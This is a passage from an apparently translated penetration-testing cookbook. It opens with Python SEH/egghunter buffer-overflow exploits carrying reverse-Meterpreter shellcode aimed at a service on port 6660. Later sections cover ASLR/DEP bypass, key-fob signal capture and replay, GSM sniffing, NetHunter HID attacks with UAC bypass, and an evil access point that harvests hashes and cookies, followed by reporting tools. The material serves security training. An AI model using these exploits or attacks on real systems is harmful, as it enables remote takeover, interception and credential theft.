        target_port=6660
        buffer = "USV "
        buffer += "\x41" * 962 #offset
        # 6 Bytes SHORT jump to shellcode
        buffer += "\xeb\x06\x90\x90"
        # POP+POP+RET 0x0f9a196a
        buffer += "\x6a\x19\x9a\x0f"
        buffer += "\x90" * 16
        #Shellcode Reverse meterpreter.
        buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
        buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
        buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72" 
        buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
        buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
        buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
        buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
        buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
        buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
        buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
        buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
        buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
        buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1" 
        buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
        buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
        buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
        buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
        buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
        buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
        buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
        buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
        buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
        buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
        buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
        buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
        buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
        buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
        buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
        buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
        buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
        # NOP SLED
        buffer += "\x90" * (2504 - len(buffer))
        buffer += "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port))
        sock.send(buffer)
        print "Sent!!"
        sock.close()

1. 假设 shellcode 实际上并不在我们在内存中制作的 6 字节跳转之后。在这种情况下，我们可以使用蛋猎手为软件制作一个可靠的利用。

2. 现在听起来可能很容易，但也有一些复杂之处。我们需要我们的最终利用程序遵循我们在图表中提到的流程，但我们还需要确保代码中有足够的 NOPs 来确保利用。

3. 我们的利用流程应该如下所示，就像我们的情况一样，我们有足够的内存来存放 shellcode。但在其他情况下，我们可能没有那么多内存，或者我们的 shellcode 可能存储在内存的其他地方。在这些情况下，我们可以使用蛋猎手，我们将在后面的教程中介绍：

1. 根据前面的流程图，我们的 shellcode 看起来应该是这样的：

        #!/usr/bin/python
        import socket
        target_address="192.168.110.12"
        target_port=6660
        #Egghunter Shellcode 32 bytes
        egghunter = ""
        egghunter += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\
          x2e\x3c\x05\x5a\x74"
        egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf
          \x75\xe7\xff\xe7"
        # 6 Bytes SHORT jump to shellcode
        nseh = "\xeb\x09\x90\x90"
        # POP+POP+RET 0x0f9a196a
        seh = "\x6a\x19\x9a\x0f"
        #Shellcode Reverse meterpreter. 360 bytes
        buffer = ""
        buffer += "\xdb\xde\xd9\x74\x24\xf4\xbf\xcf\x9f\xb1\x9a\x5e"
        buffer += "\x31\xc9\xb1\x54\x83\xee\xfc\x31\x7e\x14\x03\x7e"
        buffer += "\xdb\x7d\x44\x66\x0b\x03\xa7\x97\xcb\x64\x21\x72"
        buffer += "\xfa\xa4\x55\xf6\xac\x14\x1d\x5a\x40\xde\x73\x4f"
        buffer += "\xd3\x92\x5b\x60\x54\x18\xba\x4f\x65\x31\xfe\xce"
        buffer += "\xe5\x48\xd3\x30\xd4\x82\x26\x30\x11\xfe\xcb\x60"
        buffer += "\xca\x74\x79\x95\x7f\xc0\x42\x1e\x33\xc4\xc2\xc3"
        buffer += "\x83\xe7\xe3\x55\x98\xb1\x23\x57\x4d\xca\x6d\x4f"
        buffer += "\x92\xf7\x24\xe4\x60\x83\xb6\x2c\xb9\x6c\x14\x11"
        buffer += "\x76\x9f\x64\x55\xb0\x40\x13\xaf\xc3\xfd\x24\x74"
        buffer += "\xbe\xd9\xa1\x6f\x18\xa9\x12\x54\x99\x7e\xc4\x1f"
        buffer += "\x95\xcb\x82\x78\xb9\xca\x47\xf3\xc5\x47\x66\xd4"
        buffer += "\x4c\x13\x4d\xf0\x15\xc7\xec\xa1\xf3\xa6\x11\xb1"
        buffer += "\x5c\x16\xb4\xb9\x70\x43\xc5\xe3\x1c\xa0\xe4\x1b"
        buffer += "\xdc\xae\x7f\x6f\xee\x71\xd4\xe7\x42\xf9\xf2\xf0"
        buffer += "\xa5\xd0\x43\x6e\x58\xdb\xb3\xa6\x9e\x8f\xe3\xd0"
        buffer += "\x37\xb0\x6f\x21\xb8\x65\x05\x24\x2e\x46\x72\x48"
        buffer += "\xa5\x2e\x81\x95\xa8\xf2\x0c\x73\x9a\x5a\x5f\x2c"
        buffer += "\x5a\x0b\x1f\x9c\x32\x41\x90\xc3\x22\x6a\x7a\x6c"
        buffer += "\xc8\x85\xd3\xc4\x64\x3f\x7e\x9e\x15\xc0\x54\xda"
        buffer += "\x15\x4a\x5d\x1a\xdb\xbb\x14\x08\x0b\xda\xd6\xd0"
        buffer += "\xcb\x77\xd7\xba\xcf\xd1\x80\x52\xcd\x04\xe6\xfc"
        buffer += "\x2e\x63\x74\xfa\xd0\xf2\x4d\x70\xe6\x60\xf2\xee"
        buffer += "\x06\x65\xf2\xee\x50\xef\xf2\x86\x04\x4b\xa1\xb3"
        buffer += "\x4b\x46\xd5\x6f\xd9\x69\x8c\xdc\x4a\x02\x32\x3a"
        buffer += "\xbc\x8d\xcd\x69\xbf\xca\x32\xef\x9d\x72\x5b\x0f"
        buffer += "\xa1\x82\x9b\x65\x21\xd3\xf3\x72\x0e\xdc\x33\x7a"
        buffer += "\x85\xb5\x5b\xf1\x4b\x77\xfd\x06\x46\xd9\xa3\x07"
        buffer += "\x64\xc2\xb2\x89\x8b\xf5\xba\x6b\xb0\x23\x83\x19"
        buffer += "\xf1\xf7\xb0\x12\x48\x55\x90\xb8\xb2\xc9\xe2\xe8"
        nop = "\x90" * 301
        tag = "w00tw00t"
        buffer1 = "USV "
        buffer1 += nop * 2 + "\x90" * 360
        buffer1 += nseh + seh # 8
        buffer1 += "\x90" * 6 #
        buffer1 += egghunter
        buffer1 += nop
        buffer1 += tag
        buffer1 += buffer
        buffer1 += "\x90" * (3504 - len(buffer))
        buffer1 += "\r\n\r\n"
        sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=sock.connect((target_address,target_port))
        sock.send(buffer1)
        print "Sent!!"
        sock.close()

1. 我们继续将其保存为script.py并使用python script.py运行它。

2. 而且，我们应该有一个等待我们的 meterpreter 会话。

我们编写的利用代码可能无法在每个系统上以完全相同的方式工作，因为有多个依赖项取决于操作系统版本、软件版本等。

另请参阅

• www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

• www.fuzzysecurity.com/tutorials/expDev/4.html

ASLR 和 NX 绕过概述

地址空间布局随机化（ASLR）于 2001 年由 PaX 项目作为 Linux 补丁引入，并集成到 Windows Vista 和后来的操作系统中。这是一种内存保护，通过随机化可执行文件在内存中加载的位置，可以防止缓冲区溢出。数据执行防护（DEP）或不执行（NX）也是在 Windows Vista 上的 Internet Explorer 7 中引入的，它通过阻止从内存中标记为不可执行的代码执行来防止缓冲区溢出。

如何做...

我们首先需要规避 ASLR。基本上有两种方式可以绕过 ASLR：

1. 我们寻找在内存中加载的任何反 ASLR 模块。我们将在固定位置上有任何模块的基地址。从这里，我们可以使用返回导向编程（ROP）方法。我们基本上使用代码的小部分，然后是返回指令，并链式连接所有内容以获得所需的结果：

来源：https://www.slideshare.net/dataera/remix-ondemand-live-randomization-finegrained-live-aslr-during-runtime

1. 我们在这里获得指针泄漏/内存泄漏，并调整偏移量以获取泄漏指针的模块的基地址。

2. 接下来，我们需要绕过 NX/DEP。为此，我们使用众所周知的ret-to-libc攻击（在 Linux 中）或 ROP 链接（在 Windows 中）。这种方法允许我们使用libc函数来执行我们本来会用 shellcode 完成的任务。

3. 还有一种用于绕过 32 位系统中 ASLR 的方法，因为 32 位与 64 位系统相比具有相对较小的地址空间。这使得随机化范围较小且可行于暴力破解。

4. 这基本上是绕过 ASLR 和 DEP 的基本概念。还有许多更高级的编写利用程序的方法，随着补丁的应用，每天都会发现新的绕过方法。

另请参阅

• www.trustwave.com/Resources/SpiderLabs-Blog/Baby-s-first-NX-ASLR-bypass/

• taishi8117.github.io/2015/11/11/stack-bof-2/

• www.exploit-db.com/docs/17914.pdf

• tekwizz123.blogspot.com/2014/02/bypassing-aslr-and-dep-on-windows-7.html

• www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/

第十章：玩转软件定义无线电

在本章中，我们将介绍以下步骤：

• 无线电频率扫描仪简介

• 与 RTLSDR 扫描仪亲身实践

• 玩转gqrx

• 为 GSM 窃听校准设备

• 使用 Dump1090 解码 ADS-B 消息

介绍

软件定义无线电这个术语的意思是，使用软件实现基于硬件的无线电组件，如调制器、解调器和调谐器。在本章中，我们将介绍不同的步骤，并看看 RTLSDR 可以如何用于玩转频率和通过它传输的数据。

无线电频率扫描仪

RTLSDR 是一种非常便宜（约 20 美元）的软件定义无线电，它使用 DVB-T 电视调谐器。在这个步骤中，我们将介绍如何将 RTLSDR 设备连接到 Kali Linux 以测试是否成功检测到。

准备工作

对于这个步骤，我们需要一些硬件。它可以很容易地从亚马逊购买或从www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/购买。Kali 已经为我们提供了工具来开始使用它。

如何做...

我们连接我们的设备，它应该在 Kali Linux 中被检测到。设备行为不准确是很常见的。以下是运行测试的步骤：

1. 我们将首先使用以下命令运行测试：

        rtl_test

以下截图显示了前面命令的输出：

1. 我们可能会看到一些数据包丢失。这是因为在只有 USB 2.0 的 VM 设置中尝试这个。

2. 如果有很多数据包丢失，我们可以通过使用rtl_test -s 10000000设置较低的采样率进行测试：

1. 现在，我们已经准备好继续下一个步骤并玩弄我们的设备了。

与 RTLSDR 扫描仪亲身实践

RTLSDR 扫描仪是一个跨平台的 GUI，可用于频谱分析。它将扫描给定的频率范围，并在频谱图中显示输出。

如何做...

这是运行rtlsdr-scanner的步骤：

1. 我们将 RTLSDR 连接到系统，并使用以下命令启动扫描：

       rtlsdr-scanner

以下截图显示了前面命令的输出：

1. 我们应该看到一个新窗口打开，显示工具的 GUI 界面；在这里我们可以简单地输入我们想要执行扫描的频率范围，然后点击开始扫描：

1. 需要一些时间来看到频率的扫描，然后我们将以图形格式看到结果：

如果应用程序停止响应，建议您降低范围，并选择单一模式而不是连续模式。

玩转 gqrx

gqrx工具是由 GNU 无线电和 Qt 图形工具包提供支持的开源软件定义无线电（SDR）接收机。

它具有许多功能，例如：

• 发现连接到计算机的设备

• 处理 I/Q 数据

• AM、SSB、CW、FM-N 和 FM-W（单声道和立体声）解调器

• 录制和播放音频到/从 WAV 文件

• 录制和播放原始基带数据

• 通过 UDP 流式传输音频输出

在这个步骤中，我们将介绍gqrx和另一个工具 RTLSDR 的基础知识。

如何做...

以下是使用gqrx的步骤：

1. 我们可以使用以下命令安装gqrx：

        apt install gqrx  

1. 完成后，我们通过输入gqrx来运行工具。

2. 我们从打开的窗口的下拉菜单中选择我们的设备，然后点击确定：

1. 现在 GQRX 应用程序打开，在接收器窗口的右侧，我们选择要查看的频率。然后我们去文件，点击开始 DSP：

1. 现在我们看到一个瀑布，我们应该开始听到扬声器中的声音。我们甚至可以使用接收器选项窗口中的上下按钮更改我们正在收听的频率：

1. 我们将看一个汽车钥匙遥控器的例子，用于锁定/解锁汽车。

2. 当我们按下按钮几次后，我们将看到瀑布图中的变化，显示信号的差异：

1. 我们可以在记录窗口中记录信号，然后保存。稍后可以解码并使用无线电发射回汽车，使用无线电发射器将其解锁。

2. 要在443 MHz 处捕获数据，我们可以使用以下命令：

        rtl_sdr -f 443M - | xxd

以下截图显示了前面命令的输出：

还有更多...

要了解更多关于gqrx的信息，请访问这些博客：

• gqrx.dk/doc/practical-tricks-and-tips

• blog.compass-security.com/2016/09/software-defied-radio-sdr-and-decoding-on-off-keying-ook/

GSM 窃听的校准设备

RTLSDR 还允许我们使用名为kal或kalibrate-rtl的工具查看 GSM 流量。该工具可以在频段中扫描 GSM 基站。在本教程中，我们将学习如何使用 kalibrate，然后在gqrx中确认信道。

如何做...

以下是使用 kalibrate 的步骤：

1. 大多数国家使用 GSM900 频段。在美国，是 850。我们将使用以下命令来扫描 GSM 基站：

        kal -s GSM900 -g 40  

以下截图显示了前面命令的输出：

1. 几分钟后，它会显示给我们一个基站列表：

1. 我们记录频率；在我们的情况下，我们将使用947.6 MHz以及偏移量。

2. 现在我们打开 GQRX 并在接收器选项窗口中输入：

1. 我们可以在瀑布图中看到设备能够完美地捕捉信号。

2. 现在我们将在数据包级别查看这些数据。我们将使用一个名为gr-gsm的工具。

3. 可以使用 apt install gr-gsm进行安装：

1. 完成后，如果我们输入grgsm_并按下Tab键，我们将看到一个可用工具列表：

1. 首先，我们将使用grgsm_livemon实时监视 GSM 数据包。我们将打开终端并输入grgsm_livemon：

1. 在新打开的窗口中，我们将使用 kalibrate 捕获的频率切换到：

1. 我们可以通过拖动并选择图形窗口上的区域来放大特定范围。

2. 在新的终端窗口中，我们输入wireshark来启动 Wireshark。

3. 然后我们将适配器设置为 Loopback: lo 并开始我们的数据包捕获：

1. 接下来，我们添加过滤器gsmtap：

1. 我们应该在信息窗口中看到数据包。我们应该看到一个带有标签系统信息类型 3 的数据包；让我们打开它：

1. 我们将看到系统信息，如移动国家代码、网络代码和位置区域代码：

1. 现在通过这个教程，我们已经学会了 GSM 数据包的传输方式。

还有更多...

以下是一些很棒的视频，让您更好地了解 GSM 嗅探：

• www.crazydanishhacker.com/category/gsm-sniffing-hacking/

使用 Dump1090 解码 ADS-B 消息

ADS-B 代表自动相关监视广播。这是一种系统，飞机上的电子设备通过数字数据链自动广播飞机的精确位置。

如工具的官方自述中所述，Dump1090 是专为 RTLSDR 设备设计的 Mode S 解码器。

主要特点是：

• 对弱信号的稳健解码。使用 mode1090，许多用户观察到与其他流行解码器相比改进的范围。

• 网络支持—TCP30003 流（MSG5）、原始数据包、HTTP。

• 嵌入式 HTTP 服务器在 Google 地图上显示当前检测到的飞机。

• 使用 24 位 CRC 进行单比特错误校正。

• 能够解码 DF11 和 DF17 消息。

• 能够解码 DF 格式，如 DF0、DF4、DF5、DF16、DF20 和 DF21，其中通过使用 ICAO 地址对校验和字段进行暴力破解，将校验和与 ICAO 地址进行异或运算，我们已经涵盖了。

• 解码来自文件的原始 IQ 样本（使用--ifile命令行开关）。

• 交互式 CLI 模式，其中当前检测到的飞机显示为列表，并随着更多数据的到达而刷新。

• 从速度计算 CPR 坐标解码和轨迹计算。

• TCP 服务器流式传输并接收来自/发送到连接客户端的原始数据（使用--net）。

在这个教程中，我们将使用该工具来查看空中交通的可视化。

如何做...

以下是使用 Dump1090 的步骤：

1. 我们可以使用命令git clone https://github.com/antirez/dump1090.git从 Git 存储库下载该工具：

1. 下载完成后，我们进入文件夹并运行make。

2. 现在我们应该有一个可执行文件。我们可以使用以下命令运行该工具：

        ./dump1090 --interactive -net

以下屏幕截图显示了前面命令的输出：

1. 几分钟后，我们应该能看到航班，并通过在浏览器中打开http://localhost:8080，我们也将能够在地图上看到航班。

还有更多...

更多信息可以从www.rtl-sdr.com/adsb-aircraft-radar-with-rtl-sdr/了解。

第十一章：随身携带的 Kali - NetHunters 和树莓派

在本章中，我们将介绍以下内容：

• 在树莓派上安装 Kali

• 安装 NetHunter

• 超人打字 - HID 攻击

• 我可以给手机充电吗？

• 设置恶意接入点

介绍

在某些情况下，在进行渗透测试时，客户可能要求我们进行适当的红队攻击。在这种情况下，手持笔记本电脑走进办公室可能看起来可疑，这就是这一章派上用场的原因。我们可以使用小型设备，如手机或树莓派来进行红队行动，并有效地进行渗透测试。在本章中，我们将讨论如何在树莓派和兼容的手机上设置 Kali Linux，并使用它来对网络执行一些酷炫的攻击。

在树莓派上安装 Kali

树莓派是一台价格实惠的 ARM 计算机。它非常小巧，便于携带，因此非常适合用于类似 Kali Linux 的系统进行便携式设备的渗透测试。

在这个教程中，您将学习如何在树莓派上安装 Kali Linux 镜像。

准备工作

树莓派支持 SD 卡。在树莓派上设置 Kali 的最佳方法是创建一个可引导的 SD 卡并将其插入 Pi。

如何做...

要在树莓派上安装 Kali，请按照以下步骤进行：

1. 我们将首先从 Offensive Security 的网站www.offensive-security.com/kali-linux-arm-images/下载镜像：

1. 镜像下载完成后，我们可以使用不同的方法将该镜像写入我们的存储卡。

2. 在 Linux/macOS 上，可以使用dd实用程序来完成。可以使用以下命令使用dd实用程序：

        dd if=/path/to/kali-2.1.2-rpi.img of=/dev/sdcard/path bs=512k  

1. 完成此过程后，我们可以将 SD 卡插入 Pi 并启动它。

2. 我们将看到我们的 Kali 启动：

我们可以参考此链接以获取更详细的指南：docs.kali.org/downloading/kali-linux-live-usb-install。

安装 NetHunter

如 Offensive Security 官方维基所述：

“Kali NetHunter 是一个包括强大的移动渗透测试平台的 Android ROM 叠加层。该叠加层包括自定义内核、Kali Linux chroot 和一个配套的 Android 应用程序，可以更轻松地与各种安全工具和攻击进行交互。除了 Kali Linux 中的渗透测试工具库外，NetHunter 还支持几个其他类别，如HID 键盘攻击、BadUSB 攻击、Evil AP MANA 攻击等等。有关组成 NetHunter 的各个部分的更多信息，请查看我们的 NetHunter 组件页面。NetHunter 是由 Offensive Security 和社区开发的开源项目。”

在这个教程中，您将学习如何在 Android 设备上安装和配置 NetHunter，并使用它执行攻击。我们可以在github.com/offensive-security/kali-nethunter/wiki找到支持的硬件列表。

准备工作

在开始之前，我们需要将设备 root，并安装 Team Win Recovery Project 作为自定义恢复。

如何做...

安装 NetHunter，请按照以下步骤进行：

1. 我们下载 NetHunter ZIP 文件并将其复制到 SD 卡，然后将手机重新启动到恢复模式。我们正在使用安装了 Cyanogenmod 12.1 的 OnePlus One。可以通过同时按下电源和音量减按钮来启动恢复模式。

2. 一旦进入恢复模式，我们选择屏幕上的安装并选择 ZIP 文件。我们可以从www.offensive-security.com/kali-linux-nethunter-download下载 ZIP 文件：

1. 完成后，我们重新启动手机，应该在应用菜单中看到 NetHunter。

2. 但在开始之前，我们需要从 Play 商店在手机上安装 BusyBox：

1. 完成后，我们运行该应用程序并点击安装：

1. 接下来，我们打开 NetHunter，并从菜单中选择 Kali Chroot Manager：

1. 我们点击添加 METAPACKAGES，然后我们将准备好进行下一个教程：

超人打字 - HID 攻击

NetHunter 具有一个功能，允许我们将我们的设备和 OTG 电缆行为键盘，因此可以在任何连接的 PC 上键入任何给定的命令。这使我们能够执行 HID 攻击。

“HID（人体接口设备）攻击向量是定制硬件和通过键盘仿真绕过限制的显着组合。因此，当我们插入设备时，它将被检测为键盘，并且使用微处理器和板载闪存存储，您可以向目标机器发送一组非常快速的按键，从而完全破坏它。”

• https://www.safaribooksonline.com/library/view/metasploit/9781593272883/

如何操作...

要执行 HID 攻击，请按照以下步骤进行操作：

1. 我们可以通过打开 NetHunter 应用程序来执行它们。

2. 在菜单中，我们选择 HID 攻击：

1. 我们将看到两个选项卡：PowerSploit 和 Windows CMD：

1. 让我们尝试 Windows CMD；在编辑源框中，我们可以输入要执行的命令。我们甚至可以从选项中选择 UAC Bypass，以便在不同版本的 Windows 上以管理员身份运行命令：

1. 我们从 UAC Bypass 菜单中选择 Windows 10，然后输入一个简单的命令：

        echo "hello world"  

1. 然后，我们将手机连接到 Windows 10 设备，并从菜单中选择执行攻击：

1. 我们将看到命令被执行：

有关更多信息，请访问github.com/offensive-security/kali-NetHunter/wiki/NetHunter-HID-Attacks。

我可以给手机充电吗？

在这个教程中，我们将看一种不同类型的 HID 攻击，称为 DuckHunter HID。这使我们能够将臭名昭著的 USB Rubber Ducky 脚本转换为 NetHunter HID 攻击。

如何操作...

要执行 DuckHunter HID 攻击，请按照以下步骤进行操作：

1. 我们可以通过打开 NetHunter 应用程序来执行它们。

2. 在菜单中，我们选择 DuckHunter HID 攻击。

3. 转换选项卡是我们可以输入或加载我们的脚本以执行的地方：

1. 让我们从使用一个简单的“Hello world！”脚本开始。

2. 我们在任何设备上打开文本编辑器，然后连接我们的设备并点击播放按钮。

3. 我们将看到这是自动在编辑器中输入的：

1. 互联网上有多个脚本可用于使用 NetHunter 执行多个攻击：

1. 这些可以下载并加载到 NetHunter 中，然后稍后用于利用受害者的 PC；列表可以在github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads找到。

更多信息可以在github.com/hak5darren/USB-Rubber-Ducky/wiki找到。

设置一个邪恶的接入点

MANA 工具包是由 SensePost 创建的邪恶接入点实施工具包，可用于执行 Wi-Fi、AP 和 MITM 攻击。一旦受害者连接到我们的接入点，我们将能够执行多个操作，您将在本教程中了解到。

如何操作...

要设置一个邪恶的接入点，请按照以下步骤进行操作：

1. 这很容易使用。在 NetHunter 菜单中，我们选择 Mana Wireless Toolkit：

1. 它在常规设置选项卡中打开。在这里，我们可以选择接口和其他选项，比如捕获 cookies。这可以用来通过使用 NetHunter 支持的外部无线网卡执行恶意双胞胎攻击来执行无线攻击：

1. 在前几章中，您了解了 responder。我们可以通过这个工具包使用 responder 来捕获网络哈希。

2. 首先，我们连接到我们想要执行攻击的网络。

3. 接下来，我们切换到 Responder Settings 选项卡，并勾选我们希望执行的攻击。我们选择 wlan0 作为我们的接口。

1. 要更改要监听的接口，我们切换到常规设置选项卡，并从下拉列表中选择接口列表中的接口：

1. 现在我们点击右侧选项菜单中的 Start mitm attack。

2. 我们将看到一个终端窗口打开，我们的攻击将被执行。我们将看到攻击捕获的主机信息以及密码哈希：

1. 同样，还有其他攻击，比如 Nmap 扫描、生成 Metasploit 有效载荷等。

有关更多信息，请访问github.com/offensive-security/kali-NetHunter/wiki。

第十二章：撰写报告

在本章中，我们将介绍以下内容：

• 使用 Dradis 生成报告

• 使用 MagicTree

介绍

在本章中，我们将介绍渗透测试项目中最重要的步骤之一，即报告。一个好的报告必须包含漏洞的每一个细节。我们的目标是尽可能详细，这可能有助于部门中的合适人员理解所有细节，并通过完美的补丁解决问题。

有不同的方法来创建渗透测试报告。在本章中，您将学习一些工具，我们可以使用这些工具来创建一个详细的报告。

让我们看一下报告中应该始终包含的一些关键点：

• 漏洞的详细信息

• CVSS 评分

• 漏洞对组织的影响

• 修补漏洞的建议

通用漏洞评分系统（CVSS）是一种标准化的评估 IT 漏洞并确定响应紧急性的方法。

您可以在www.first.org/cvss了解更多关于 CVSS 的信息。

使用 Dradis 生成报告

Dradis 是一个开源的基于浏览器的应用程序，可以用于合并不同工具的输出并生成报告。它非常容易使用，并且预装在 Kali 中。但是，运行它可能会显示错误。因此，我们将重新安装它，然后学习如何使用它。

如何做到这一点...

以下是使用 Dradis 的步骤：

1. 首先，我们需要通过运行以下命令来安装依赖项：

 apt-get install libsqlite3-dev
 apt-get install libmariadbclient-dev-compat 
 apt-get install mariadb-client-10.1
 apt-get install mariadb-server-10.1
 apt-get install redis-server

1. 然后，我们使用以下命令：

 git clone https://github.com/dradis/dradis-ce.git  

以下截图显示了前面命令的输出：

1. 然后，我们更改我们的目录：

        cd dradis-ce/

1. 现在我们运行以下命令：

 bundle install --path PATH/TO/DRADIS/FOLDER  

以下截图显示了前面命令的输出：

1. 我们运行这个命令：

        ./bin/setup   

1. 要启动服务器，我们运行这个：

        bundle exec rails server  

以下截图显示了前面命令的输出：

1. 我们现在可以在https://localhost:3000上访问 Dradis。

2. 在这里，我们可以设置我们的密码来访问框架，并用密码登录：

1. 我们将被重定向到仪表板：

1. Dradis 的免费版本支持各种工具的插件，如 Nmap、Acunetix 和 Nikto。

2. Dradis 允许我们创建方法论。它可以被视为一个检查表，在为组织执行渗透测试活动时可以使用：

1. 要创建一个检查表，我们去到方法论，然后点击添加新的：

1. 然后我们分配一个名称并点击添加到项目：

1. 现在我们应该看到为我们创建的一个示例列表。我们可以通过点击右侧的编辑按钮来编辑它：

1. 在这里，我们看到列表是以 XML 格式创建的。我们可以通过点击更新方法论来编辑和保存它：

1. 现在让我们看看如何更好地组织我们的扫描报告。我们转到左侧菜单上的节点选项，然后点击+号；一个弹出框将打开，我们可以添加一个网络范围，然后点击添加：

1. 要添加一个新的子节点，我们从左侧窗格中选择节点，然后选择添加子节点选项。这可以用来根据主机的 IP 地址组织基于网络的活动。

2. 接下来，我们可以添加注释和漏洞的 PoC 截图：

1. 我们甚至可以将各种工具的结果导入到 Dradis 中。这可以通过从顶部菜单选择从工具上传输出来完成：

1. 在这里，我们上传我们的输出文件。Dradis 有内置插件，可以解析不同工具的报告：

1. 导入完成后，我们将在左侧窗格下的“插件输出”标题下看到结果：

1. 我们可以看到我们刚刚导入的扫描结果的输出：

1. 同样，不同的扫描可以被导入并组合在一起，并可以使用 Dradis 框架导出为一个单一的报告：

有关 Dradis 的更多信息，请访问官方网站：dradisframework.com/。

使用 MagicTree

MagicTree 是一种类似于 Dradis 的数据管理和报告工具。它预先安装在 Linux 上，并使用树和节点结构组织所有内容。它还允许我们执行命令并将结果导出为报告。在这个教程中，我们将看一些使用 MagicTree 来简化我们的渗透测试任务的方法。

如何做...

以下是使用 MagicTree 的方法：

1. 我们可以从应用程序菜单中运行它。

2. 我们接受条款，应用程序将打开：

1. 接下来，我们通过转到节点 | 自动创建来创建一个新节点：

1. 在打开的框中，我们输入要添加的主机的 IP 地址。

2. 一旦节点被添加，它将出现在左侧窗格中：

1. 要对主机运行扫描，我们转到表视图；在底部，我们将看到一个名为命令的输入框：

1. 我们将对刚刚添加的主机运行 Nmap 扫描。

2. MagicTree 允许您查询数据并将其发送到 shell。我们点击 Q*按钮，它将自动为我们选择主机：

1. 现在我们只需要输入以下命令：

        nmap -v -Pn -A -oX $results.xml $host  

以下截图显示了前面命令的输出：

1. 由于主机已经被识别，我们不需要在这里提及它们。然后，我们点击运行：

1. 我们将看到一个窗口，显示正在执行的扫描以及输出。扫描完成后，我们可以点击导入，它将被导入到工具中。

2. 同样，我们可以运行任何其他工具并将其报告导入到 MagicTree。我们可以通过导航到报告 | 生成报告...来生成报告：

1. 在下一个窗口中，我们可以浏览我们想要使用的模板列表来保存报告：

1. 然后，我们点击生成报告按钮，我们将看到报告正在生成：

还有更多...

还有其他工具可以用于报告生成，例如以下内容：

• Serpico: github.com/SerpicoProject/Serpico

• Vulnreport: vulnreport.io/